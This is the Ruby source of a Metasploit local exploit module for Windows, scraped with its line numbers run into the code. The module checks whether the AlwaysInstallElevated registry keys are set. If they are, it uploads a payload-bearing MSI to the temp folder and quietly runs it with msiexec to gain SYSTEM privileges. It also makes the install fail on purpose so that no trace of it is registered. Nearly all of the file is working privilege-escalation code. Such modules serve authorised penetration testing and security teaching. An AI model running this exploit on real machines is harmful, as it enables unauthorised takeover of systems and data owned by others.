Path: blob/master/modules/exploits/windows/local/always_install_elevated.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Msf::Post::File11include Msf::Post::Windows::Registry1213def initialize(info = {})14super(15update_info(16info,17{18'Name' => 'Windows AlwaysInstallElevated MSI',19'Description' => %q{20This module checks the AlwaysInstallElevated registry keys which dictates if21.MSI files should be installed with elevated privileges (NT AUTHORITY\SYSTEM).22The generated .MSI file has an embedded executable which is extracted and run23by the installer. After execution the .MSI file intentionally fails installation24(by calling some invalid VBS) to prevent it being registered on the system.25By running this with the /quiet argument the error will not be seen by the user.26},27'License' => MSF_LICENSE,28'Author' => [29'Ben Campbell',30'Parvez Anwar' # discovery?/inspiration31],32'Arch' => [ ARCH_X86, ARCH_X64 ],33'Platform' => [ 'win' ],34'SessionTypes' => [ 'meterpreter' ],35'DefaultOptions' => {36'WfsDelay' => 10,37'EXITFUNC' => 'process',38'MSI::UAC' => true39},40'Targets' => [41[ 'Windows', {} ],42],43'References' => [44[ 'URL', 'http://www.greyhathacker.net/?p=185' ],45[ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ],46[ 'URL', 'http://rewtdance.blogspot.co.uk/2013/03/metasploit-msi-payload-generation.html']47],48'DisclosureDate' => '2010-03-18',49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55}56)57)5859register_advanced_options([60OptString.new('LOG_FILE', [false, 'Remote path to output MSI log file to.', nil]),61OptBool.new('QUIET', [true, 'Run the MSI with the /quiet flag.', true])62])63end6465def check66install_elevated = "AlwaysInstallElevated"67installer = "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer"68hkcu = "HKEY_CURRENT_USER\\#{installer}"69hklm = "HKEY_LOCAL_MACHINE\\#{installer}"7071local_machine_value = registry_getvaldata(hklm, install_elevated)7273if local_machine_value.nil?74vprint_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.")75return Msf::Exploit::CheckCode::Safe76elsif local_machine_value == 077vprint_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.")78return Msf::Exploit::CheckCode::Safe79else80vprint_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")81current_user_value = registry_getvaldata(hkcu, install_elevated)82end8384if current_user_value.nil?85vprint_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")86return Msf::Exploit::CheckCode::Safe87elsif current_user_value == 088vprint_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")89return Msf::Exploit::CheckCode::Safe90else91vprint_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")92return Msf::Exploit::CheckCode::Vulnerable93end94end9596def exploit97return unless check == Msf::Exploit::CheckCode::Vulnerable9899msi_filename = Rex::Text.rand_text_alpha((rand(8) + 6)) + ".msi"100msi_source = generate_payload_msi101102# Upload MSI103msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip104print_status("Uploading the MSI to #{msi_destination} ...")105106write_file(msi_destination, msi_source)107register_file_for_cleanup(msi_destination)108109if datastore['LOG_FILE'].nil?110logging = ""111else112logging = "/l* #{datastore['LOG_FILE']} "113end114115if datastore['QUIET']116quiet = "/quiet "117else118quiet = ""119end120121cmd = "msiexec.exe #{logging}#{quiet}/package #{msi_destination}"122123print_status("Executing MSI...")124vprint_status("Executing: #{cmd}")125begin126result = cmd_exec(cmd)127rescue Rex::TimeoutError128vprint_status("Execution timed out.")129end130vprint_status("MSI command-line feedback: #{result}")131end132end133134135